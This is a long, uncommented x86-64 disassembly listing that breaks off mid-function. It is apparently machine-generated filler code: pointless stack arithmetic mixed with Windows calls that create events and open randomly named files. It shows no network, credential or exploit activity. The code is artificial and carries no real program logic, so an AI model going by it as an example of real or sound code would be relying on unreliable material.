mov rcx, qword [rsp + 0x19b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5cc], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x400]
and eax, ecx
mov byte [rsp + 0xe8], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5580], rax
lea rax, [rsp + 0x11a0]
mov qword [rsp + 0x4c58], rax
mov rax, qword [rsp + 0xd58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1384]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1394], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x183
mov rcx, qword [rsp + 0x3060]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
lea rax, [rsp + 0x236]
mov qword [rsp + 0x4c60], rax
lea rax, [rsp + 0x2920]
mov qword [0x1400fd7d8], rax
movsx eax, word [rsp + 0x4fc]
movsx ecx, word [rsp + 0x8c4]
shl eax, cl
mov rcx, qword [rsp + 0xc80]
mov word [rcx], ax
movsx eax, word [0x1400fc514]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5a4], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x3990], rax
mov rax, qword [rsp + 0x2b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x790]
mov qword [rsp + 0x4c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c08]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2628], rax
mov rcx, qword [rsp + 0x4c10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1694], eax
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x688]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x217c], eax
mov rax, qword [rsp + 0x3f10]
mov rcx, qword [rsp + 0x12a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x238]
movsx ecx, byte [0x1400fc381]
and eax, ecx
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0xff8]
movzx eax, word [rax]
mov word [rsp + 0x2018], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.KZ5tDJY2i2QleE5bIZ5U5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5150], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe0]
sub eax, ecx
mov word [0x1400fd734], ax
mov rax, qword [0x1400fd7b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x790]
mov qword [rsp + 0x4c18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c18]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2f08], rax
mov rax, qword [rsp + 0x3018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0x39c8]
mov ecx, dword [rsp + 0x20fc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x23d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c20]
movzx eax, byte [rax]
mov byte [rsp + 0xdda], al
mov eax, dword [rsp + 0x26b8]
mov ecx, dword [rsp + 0x2170]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x11f0]
mov dword [rcx], eax
mov rax, qword [0x1400fd5c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fb0]
shl rax, cl
mov rcx, qword [rsp + 0x19b8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2dd]
mov byte [rsp + 0xe4d], al
mov rax, qword [rsp + 0x24a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2c68]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15ac], ax
lea rax, [rsp + 0x600]
mov qword [0x1400fd7e0], rax
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x212c], eax
lea rax, [0x1400fc3f8]
mov qword [rsp + 0x3918], rax
mov rax, qword [rsp + 0x14d0]
mov rcx, qword [rsp + 0x25b8]
mov qword [rsp + 0x4c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1928], rax
movsx eax, word [rsp + 0xe6c]
mov rcx, qword [rsp + 0x1490]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15b4], ax
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x4e28], rax
mov rax, qword [rsp + 0x17c8]
mov rcx, qword [rsp + 0x3770]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28b8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9195
mov rcx, qword [rsp + 0x36f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2754], eax
lea rax, [rsp + 0x111c]
mov qword [rsp + 0x5088], rax
mov rax, qword [rsp + 0x2bf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22c], al
mov rax, qword [rsp + 0x2a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1060]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e38], rax
mov rax, qword [rsp + 0x14e0]
movzx eax, word [rax]
mov word [0x1400fd7e8], ax
lea rax, [rsp + 0x1584]
mov qword [rsp + 0x3390], rax
mov eax, dword [rsp + 0xa04]
mov ecx, dword [rsp + 0x13a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ab8], eax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0x3b98], rax
mov rax, qword [rsp + 0x3f80]
mov rcx, qword [rsp + 0x14a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c0], rax
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x1030]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x935], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xbeca
mov rcx, qword [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x1b00]
mov eax, dword [rax]
add eax, dword [rsp + 0x1974]
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1220]
mov rcx, qword [rsp + 0x1708]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3030], rax
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x30b8], rax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x268]
xor eax, ecx
mov word [0x1400fc3b4], ax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x25f8]
mov rcx, qword [0x1400fd370]
mov qword [rsp + 0x4c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1440], rax
movzx eax, word [rsp + 0x28c]
mov word [rsp + 0x15f4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.FuBGFETHopaQEvGeFUG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4d98], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
or eax, ecx
mov word [rsp + 0x4e0], ax
mov rax, qword [rsp + 0x12b0]
mov rcx, qword [rsp + 0x3020]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x25f8], rax
movsx eax, byte [rsp + 0x3fc]
movsx ecx, byte [rsp + 0x2cd]
sar eax, cl
mov byte [rsp + 0x925], al
mov rax, qword [rsp + 0x2cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x900]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd58]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x37b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2160], eax
mov rax, qword [rsp + 0x2300]
mov rax, qword [rax]
mov qword [rsp + 0x3980], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf4e3
mov rcx, qword [rsp + 0x2bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x16a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ad0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x428], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbbf0
mov rcx, qword [rsp + 0x2b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x196c], eax
mov rax, qword [rsp + 0x17f8]
mov rcx, qword [rsp + 0x1b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd2f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1c4]
mov rcx, qword [rsp + 0x1b08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0x2800]
mov qword [rsp + 0x41d0], rax
mov rax, qword [0x1400fd268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x87c]
sar eax, cl
mov word [rsp + 0x23c], ax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x831f
mov rcx, qword [rsp + 0x3720]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21c4], eax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x2638], rax
mov rax, qword [rsp + 0x1478]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc39a]
and eax, ecx
mov rcx, qword [rsp + 0x1cd8]
mov byte [rcx], al
mov eax, dword [rsp + 0x13ac]
movzx ecx, al
mov eax, dword [rsp + 0x8d8]
shl eax, cl
mov dword [rsp + 0x208], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7bc5
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33d4], eax
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov qword [rsp + 0x3360], rax
mov rcx, qword [rsp + 0x3748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
mov rax, qword [rsp + 0x1b60]
movsx eax, word [rax]
movsx ecx, word [0x1400fc3c0]
xor eax, ecx
mov word [rsp + 0x5a0], ax
lea rax, [rsp + 0x1568]
mov qword [0x1400fd7f0], rax
mov rax, qword [rsp + 0x3800]
mov rcx, qword [rsp + 0xdb8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x760]
mov rcx, qword [rsp + 0x1bb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12b0]
mov qword [rcx], rax
lea rax, [rsp + 0x2f18]
mov qword [rsp + 0x3cc0], rax
movsx eax, word [rsp + 0x280]
mov rcx, qword [rsp + 0x1240]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1458]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x95e4
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2804], eax
mov rax, qword [0x1400fd7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1af0]
mov qword [rsp + 0x4c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x1f10]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x234]
mov byte [rsp + 0x931], al
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
add eax, dword [rsp + 0x111c]
mov dword [rsp + 0xcc0], eax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34a8], eax
mov rax, qword [rsp + 0x3e40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1cd0]
mov byte [rcx], al
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0x958]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc54c], ax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x15a4]
and eax, ecx
mov rcx, qword [rsp + 0x3e48]
mov word [rcx], ax
lea rax, [rsp + 0x380]
mov qword [rsp + 0x3250], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4da0], rax
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0x1920]
mov qword [rsp + 0x3880], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd207
mov rcx, qword [rsp + 0x3b08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rcx, qword [rsp + 0x3700]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1694], eax
mov rax, qword [rsp + 0x1368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdf0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3050]
mov dword [rcx], eax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x5098], rax
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2558]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.ktlYgz6JFJ_bKDJVy7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4168], rax
mov rax, qword [rsp + 0x1bd0]
mov rcx, qword [rsp + 0x2918]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x1400fd710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xef4], ax
mov rax, qword [rsp + 0xa30]
mov rax, qword [rax]
mov rcx, qword [0x1400fd4d8]
add rax, qword [rcx]
mov qword [rsp + 0x1540], rax
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x233]
mov byte [rsp + 0xe47], al
mov rax, qword [rsp + 0x2f38]
mov rcx, qword [rsp + 0x1908]
mov qword [rsp + 0x4c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c40]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x1fd8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1aa8], eax
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x3b68], rax
mov eax, dword [rsp + 0x21c8]
cdq
mov rcx, qword [rsp + 0x4c48]
idiv dword [rcx]
mov rcx, qword [rsp + 0xd40]
mov dword [rcx], eax
lea rax, [rsp + 0x1398]
mov qword [rsp + 0x32e8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbc6c
mov rcx, qword [rsp + 0x2520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
movsx eax, word [0x1400fd5d0]
movsx ecx, word [rsp + 0x390]
sub eax, ecx
mov word [0x1400fc4dc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3fc8], rax
mov rax, qword [rsp + 0x18d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf14]
add eax, ecx
mov word [rsp + 0x3b0], ax
movzx eax, word [rsp + 0x2210]
movzx ecx, word [rsp + 0x854]
and eax, ecx
mov word [rsp + 0xc40], ax
movzx eax, word [rsp + 0x210]
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0x3888]
mov rcx, qword [rsp + 0x1af8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f38], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4b61
mov rcx, qword [rsp + 0x2f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ac0], eax
mov rax, qword [rsp + 0x17a8]
mov ecx, dword [rsp + 0x21d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2108], eax
movsx eax, byte [rsp + 0x1bf]
mov rcx, qword [rsp + 0x1510]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
mov rcx, qword [rsp + 0x29f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d8], eax
movsx eax, word [rsp + 0x5e0]
movsx ecx, word [0x1400fc4f0]
or eax, ecx
mov rcx, qword [rsp + 0xf90]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.qFjH4mNu4C4SsPRZm7dui
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5588], rax
lea rax, [rsp + 0x5b0]
mov qword [rsp + 0x2bc0], rax
mov rax, qword [rsp + 0x3d40]
mov qword [0x1400fd7f8], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x2f50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x41e8], rax
mov rax, qword [rsp + 0x3f90]
mov qword [rsp + 0x4018], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd093
mov rcx, qword [rsp + 0x3708]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
mov rax, qword [rsp + 0x18b8]
mov rcx, qword [rsp + 0x1268]
mov qword [rsp + 0x4c50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x374], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x2cf], al
mov rax, qword [rsp + 0x2b80]
mov rcx, qword [rsp + 0x2460]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
lea rax, [rsp + 0x237]
mov qword [rsp + 0x40c0], rax
mov rax, qword [rsp + 0x3e98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1bc0]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x2560]
mov dword [rcx], eax
lea rax, [rsp + 0x38a8]
mov qword [0x1400fd800], rax
mov rax, qword [rsp + 0x2660]
movzx eax, word [rax]
mov word [rsp + 0x5f4], ax
movsx eax, word [rsp + 0xbdc]
movsx ecx, word [rsp + 0x5c0]
sar eax, cl
mov word [rsp + 0x454], ax
mov rax, qword [rsp + 0x2bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2298]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1570], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5310], rax
lea rax, [rsp + 0x23f8]
mov qword [rsp + 0x5590], rax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x1ba]
and eax, ecx
mov byte [rsp + 0x913], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x3c8e
mov rcx, qword [rsp + 0x2b88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
mov rax, qword [rsp + 0x10c0]
mov qword [rsp + 0x5598], rax
mov eax, dword [rsp + 0x634]
mov ecx, dword [rsp + 0xb90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x330], eax
movsx eax, word [0x1400fc4d8]
movsx ecx, word [rsp + 0xc34]
sub eax, ecx
mov rcx, qword [rsp + 0x2cd0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb10]
movzx ecx, word [rsp + 0x420]
xor eax, ecx
mov rcx, qword [0x1400fd578]
mov word [rcx], ax
mov rax, qword [rsp + 0x2908]
mov rcx, qword [rsp + 0x3800]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2e38], rax
movzx eax, word [rsp + 0x37c]
mov rcx, qword [rsp + 0x1850]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x22f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1be]
mov byte [rsp + 0xe3f], al
mov rax, qword [rsp + 0x2460]
mov eax, dword [rax]
imul eax, dword [rsp + 0x119c]
mov dword [rsp + 0x1380], eax
mov rax, qword [rsp + 0x1b70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x57f], al
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.NWtA4RxAZu9aS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x55a0], rax
lea rax, [rsp + 0x3710]
mov qword [rsp + 0x39a0], rax
mov rax, qword [rsp + 0x2cc8]
mov rcx, qword [rsp + 0x2560]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ac8], eax
mov rax, qword [rsp + 0x3008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1178]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc04], ax
mov rcx, qword [rsp + 0x2ac8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2808], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x83f7
mov rcx, qword [rsp + 0x2f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0x10a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1850]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd190], ax
mov rax, qword [rsp + 0xb38]
mov rcx, qword [rsp + 0x2fa0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2308], rax
mov rax, qword [rsp + 0x1180]
mov rax, qword [rax]
add rax, qword [rsp + 0x30e8]
mov qword [rsp + 0x2f18], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x55a8], rax
lea rax, [rsp + 0x224]
mov qword [rsp + 0x2de8], rax
mov rax, qword [rsp + 0x24e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3200]
mov word [rcx], ax
movzx eax, byte [rsp + 0x60c]
mov byte [rsp + 0x1d58], al
mov rax, qword [0x1400fd358]
mov ecx, dword [rsp + 0xdfc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2108], eax
mov rax, qword [rsp + 0x1af0]
mov rax, qword [rax]
mov qword [rsp + 0x4e80], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb71e
mov rcx, qword [rsp + 0x2928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x2510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1188]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x30c]
movsx ecx, word [rsp + 0x1574]
or eax, ecx
mov word [0x1400fc550], ax
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0x394]
shl eax, cl
mov rcx, qword [rsp + 0x1530]
mov word [rcx], ax
lea rax, [rsp + 0x34a4]
mov qword [rsp + 0x39a8], rax
movzx eax, byte [rsp + 0x139]
movzx ecx, byte [rsp + 0x132]
xor eax, ecx
mov byte [rsp + 0x402], al
lea rax, [rsp + 0x1cc8]
mov qword [rsp + 0x25a0], rax
movsx eax, byte [rsp + 0x1b8]
movsx ecx, byte [rsp + 0xe4]
sar eax, cl
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0xf78]
mov rcx, qword [rsp + 0x2c70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x24d8]
mov qword [rcx], rax
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x41f8], rax
movsx eax, word [rsp + 0x70c]
mov rcx, qword [rsp + 0x2dc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc34], ax
movzx eax, word [rsp + 0x420]
mov word [0x1400fd808], ax
lea rax, [rsp + 0x17f8]
mov qword [rsp + 0x5148], rax
mov rax, qword [rsp + 0x23e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2620]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x3300]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov word [rsp + 0x258], ax
lea rax, [rsp + 0x1c88]
mov qword [rsp + 0x2dd0], rax
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x1b40]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x57f], al
lea rax, [0x1400fc4e8]
mov qword [rsp + 0x55b0], rax
mov rax, qword [rsp + 0x2940]
movzx ecx, al
mov rax, qword [rsp + 0x3820]
shr rax, cl
mov qword [rsp + 0x2f20], rax
mov rax, qword [rsp + 0x2bd0]
movzx eax, word [rax]
mov rcx, qword [0x1400fd2a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0xa70]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd790], rax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x1828]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2480]
mov byte [rcx], al
mov rax, qword [rsp + 0x1c08]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x480], eax
lea rax, [rsp + 0x164]
mov qword [rsp + 0x1db8], rax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1b68]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x10a8]
mov word [rcx], ax
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x4060], rax
mov rcx, qword [rsp + 0x4c68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x212c], eax
mov rax, qword [rsp + 0x1780]
movzx ecx, al
mov rax, qword [rsp + 0x818]
shl rax, cl
mov rcx, qword [rsp + 0x1ec0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x11b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11bc], eax
movzx eax, word [0x1400fd6e8]
mov word [rsp + 0x15a0], ax
movzx eax, word [rsp + 0x3b8]
movzx ecx, word [rsp + 0x4bc]
